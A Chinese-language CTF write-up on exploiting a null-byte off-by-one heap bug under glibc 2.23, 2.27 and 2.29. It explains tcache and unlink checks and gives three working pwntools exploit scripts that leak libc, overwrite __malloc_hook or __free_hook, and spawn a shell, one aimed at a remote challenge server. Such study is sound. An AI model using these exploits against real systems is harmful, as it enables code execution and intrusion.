OFF_BY_ONE 番外篇: 在不同libc下的利用探索 (2.23 2.27 2.29)

Start

此为OFF_BY_ONE番外娱乐篇 尝试以下各个版本libc下如何利用OFF_BY_ONE

2.23与2.27使用的binaryQCTF_2018babyheap 2.29下使用的binary0ctf2019-finalbabyheap2.29 本文所述OFF_BY_ONE均为NULLBYTE 主要起因是我做0ctf2019的babyheap2.29发现我之前了解的不太全面

Anylysis

程序比较简单全保护,漏洞点在add处的OFF_BY_ONE 没有editshow,输入会在后面加\x00截断.

2.23

libc-2.23这里作为没有tcache机制的代表之前已经被玩烂了.主要的探索过程在原始篇已经讲的较为详细这里直接贴上一般利用过程.

add(0x400)#0
add(0x88)#1
add(0x88)#2
free(0)
add(0x18,"A"*0x18)#0
add(0x88)#3
add(0x88)#4
free(3)
free(1)
add(0x1e0-8)#fill

这时候就可以造成overlap之后

  • 有泄漏 可以通过overlap泄漏,之后通过double_free或者overlapfastbin_atk来继续exp.
  • 没泄漏但是给了用重要意义的地址 尝试通过 House of storm 控制
  • 没泄漏的话可以用Unsorted bin攻击
  • 控制stdout
  • 或者hooks去做partial_write(概率较低一般比较难打通.)

反正有了Overlap之后大家就可以根据题目特性和环境特性各显神通啦。

之前那篇也主要讲没有tcache的情况所以在,这里只做简单的复习. 这里简单地贴上exp

from pwn import *
def cmd(c):
	p.sendlineafter(":\n",str(c))
def add(size,c="A\n"):
	cmd(1)
	p.sendlineafter(": \n",str(size))
	p.sendafter(": \n",c)
def cheat(size):
	cmd(1)
	p.sendlineafter(": \n",str(size))
def free(idx):
	cmd(2)
	p.sendlineafter(": \n",str(idx))
def show():
	cmd(3)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#p=process('./timu')
p=remote("111.198.29.45",34670)
context.log_level='debug'
add(0x400)#0
add(0x88)#1
add(0x88)#2
free(0)
add(0x18,"A"*0x18)#0
add(0x88)#3
add(0x88)#4
free(3)
free(1)
add(0x1e0-8)#1
add(0x88)#3
show()
p.readuntil("4 : ")
base=u64(p.readuntil(" ")[:-1].ljust(8,'\x00'))-(0x7ffff7dd1b78-0x7ffff7a0d000)
log.warning(hex(base))
libc.address=base
add(0x68)#5
add(0x68)#6
free(5)
free(6)
free(4)
free(0)
one=0xf02a4
add(0x68,p64(libc.sym['__malloc_hook']-35)+'\n')#0
add(0x68)
add(0x68)#5
add(0x68,'\x00'*19+p64(one+base)+'\n')

free(0)
free(5)
#gdb.attach(p,"b _int_free")
p.interactive()

2.27

libc-2.27libc-2.23主要的不同是有了tcache机制但是对tcache的保护又没有后续版本例如libc-2.29那般丰富.

binary

OFF_BY_ONE的常见利用方法是(简要复习一下)

1.利用OFF_BY_ONE去shrin unsortedbin(目的是之后在unsorted bin 中割出一小块的时候不会影响 原本留在下一个chunk的pre_size)
2.为了绕过`pre size vs size`检测 所以需要在`unsortedbin`中先malloc一个能留下pre_size的小chunk之后free
3.free 原本 unsorted bin 下方的chunk 进入 unsoted bin 这样就会触发 unlink操作 从而造成overlap 

tcache直观的影响是增加了某些情况下我们将chunk放入unsortedbin的难度 tcache里完成这个操作主要有两个方法

  • free一个较大的chunk(>0x408)
  • 填满tcache(7个)

因为上述第二步中有需要进入unsorted bin所以: 加上我们使用free一个较大chunk的方法,那么我们如果要让exp顺利工作需要做的事情: 在做这一步之前把heap给布局好因为如果没有布局完成那么之后malloc时会在unsorted bin中切割 在这个题目list内节点数目有限的情况下这个复杂度有点高.

所以使用第二种方法free()*7第八个就会被放入unsorted bin. 相比前一种方法的优点就是不用思考地那么远,只要在之后的操作中不要把unsortedbin破坏了就可以了 但是我们需要另一个free进unsorted bin的chunk来trigger unlink. 比较优雅的做法是在一开始就设定好,这题就比较尴尬因为list内一共只有7个节点如果满了再去增加会做malloc+free的操作但是实践中发现还是很烦啦… 于是我曲线救国不优雅就不优雅吧

也就是在比较遥远的地方构造以下情形

chunk n:   size=0x20,data="\x00"*0x10+magic
chunk n+1: size=0x500,data=....

这样通过free第n+1个chunk和伪造他的pre_size和pre_inuse 和之前我们构造的unsortedbin内的chunk unlink完成overlap. 简单易懂,就是不太优雅比之前在2.23上多了一次利用OFF_BY_ONE

总而言之,通过两次OFF_BY_ONE+shrink完成在node有限情况下做overlap exp 如下.

from pwn import *
def cmd(c):
	p.sendlineafter(":\n",str(c))
def add(size,c="A\n"):
	cmd(1)
	p.sendlineafter(": \n",str(size))
	p.sendafter(": \n",c)
def cheat(size):
	cmd(1)
	p.sendlineafter(": \n",str(size))
def free(idx):
	cmd(2)
	p.sendlineafter(": \n",str(idx))
def show():
	cmd(3)

p=process('./timu')
#p=remote("111.198.29.45",34670)
add(0x500)#0
add(0x100)#1
add(0x100)#2
free(0)
context.log_level='debug'
add(0x18,"A"*0x18)
free(0)

add(0x100)#0
add(0x100)#3

add(0x1e8-0x10)#4
free(4)
add(0x100)#4
add(0x100)#5
add(0x100)#6
cheat(0x100)
for x in range(1,7):
	free(x)

add(0x132)#1
add(0x4f8)#2
add(0x200)#3
free(0)
free(1)
add(0x138,"\x00"*0x130+p64(0xc90))#0
free(2)
# 0,3 is used
add(0x1e0-8)#0x55ebf0ca2bb0
add(0x218)
cmd(3)
p.readuntil("1 : ")
base=u64(p.readuntil(" ")[:-1].ljust(8,'\x00'))-(0x7fea9ffc0ca0-0x7fea9fc12000)-(0x7ffff7a21000-0x7ffff79e4000)
log.warning(hex(base))
libc=ELF("./timu").libc
libc.address=base
add(0x6f0)#4
add(0x30,"\x00"*0x8+p64(0x111)+p64(libc.sym['__free_hook'])+'\x00'*0x18)#5
add(0x100,"/bin/sh\n")#6
free(4)
add(0x100,p64(libc.sym['system'])+"\n")
free(6)
p.interactive()

2.29

binary 多了许多check,拿着2.27的libc differ 了一下发现改变挺大的这里就主要谈一下做题的时候遇到的,有机会再去系统地分析一遍.

_int_free

简单分析一下libc-2.29相比2.27 _int_free的一些区别.

unlink终于不是一个宏了..成了一个函数..恭喜unlink_chunk,但是看了一圈发现逻辑上没啥大变化.

Double free detected in tcache 2

在tcache里面加了个double_free的检测,遍历list查看是否已经有当前的chunk

if (__glibc_unlikely (e->key == tcache))
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = tmp->next)
	      if (tmp == e)
		malloc_printerr ("free(): double free detected in tcache 2");
	    /* If we get here, it was a coincidence.  We've wasted a
	       few cycles, but don't abort.  */
	  }

这导致double_free利用起来没有2.27 上那么顺利不过问题不大,fast_bin内依然是没有检测的.或者通过其他方法做tcache hijacking还是可以的

consolidate backward

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

学到新单词consolidate…这个检测挺恶心的 检测当前(chunk-prevsize)处的chunk的size 是否等于 presize这就基本阻断了不需要的任何泄漏情况下的OFF_BY_ONEshrinkattck 提高了门槛.我们在2.27和2.23的利用中是可以做到不需要任何地址就完成shrinkattck造成overlap的. 但是在2.29中之前的方法不再适用(可能有某些神奇的方法能搞,我目前感觉这个锁死了直接shrinkattck的路) 但是幸运的是我们在泄漏了heap地址的情况下还是可以轻松完成overlap的,之前做的题目好像大多都是要么没有show函数要么输入字符串后面补0..因为泄漏了heap之后利用的确简单. 利用方式比较简单 直接做个fake_chunk注意满足FD->bk != P || BK->fd != P就可以了

//get heap
..
add(0x98)#2
add(0x4f8)#3
add(0x18)#4
edit(2,p64(heap+0x480)+p64(heap+0x480)+p64(heap+0x470)+p64(heap+0x470)+'\x00'*0x70+p64(0xa0))
free(3)#unlink leads to  overlap
...

solution

知道了可以利用leakheap+unlink的方式就比较简单了

  • leak heap
  • shrink+unlink_fakechunk
  • leak libc_base
  • system(“/bin/sh”) //我在2.27上用2.29的ld,lib本地打不通远端打2.29上跑的就可以..

exp

from pwn import *
def cmd(c):
	p.sendlineafter(": ",str(c))
def add(size):
	cmd(1)
	cmd(size)
def edit(idx,c):
	cmd(2)
	cmd(idx)
	cmd(len(c))
	p.sendafter(": ",c)
def show(idx):
	cmd(4)
	cmd(idx)
def free(idx):
	cmd(3)
	cmd(idx)
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process('./babyheap2.29')#,env={"LD_PRELOAD":"/glibc/x64/2.29/lib/libc-2.29.so"})
add(0x100)
add(0x100)
free(1)
free(0)
add(0x100)
add(0x100)
show(0)
p.readuntil(": ")
heap=u64(p.readline()[:-1].ljust(8,'\x00'))+(0x5601a38ee000-0x5601a38ee370)
log.warning(hex(heap))
add(0x98)#2
add(0x4f8)#3
add(0x18)#4
#edit(2,"\x00"*8+p64(0x91)+p64(heap+0x490)+p64(heap+0x490)+p64(heap+0x480)+p64(heap+0x480)+'\x00'*0x60+p64(0x90))
edit(2,p64(heap+0x480)+p64(heap+0x480)+p64(heap+0x470)+p64(heap+0x470)+'\x00'*0x70+p64(0xa0))
free(3)
show(2)
p.readuntil("2]: ")
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dd0ca0-0x7ffff7a1e000)-(0x7ffff7a1d000-0x7ffff79e4000)
log.warning(hex(base))
add(0x98)#3
add(0x18)#5
free(2)
libc.address=base
gdb.attach(p,"b free")
edit(3,p64(libc.sym['__free_hook']))
add(0x98)#2
add(0x98)#6
edit(6,p64(libc.sym['system']))
edit(2,"/bin/sh\x00")


free(2)
p.interactive()

Summary

  • 是否有直接泄漏点,有的话直接尝试构造fake_chunk 造成overflow,没有的话
  • libc版本.如果是2.29 以下那么 尝试使用例如babytcache(2018hitcone)的shrink
  • 版本是2.29及以上的话那么找找其他的漏洞点.

OFF_BY_ONE(NULLBYTE)主要是在inuse和presize上动手脚,想要造成overlap就一般是利用错误的unlink来获得.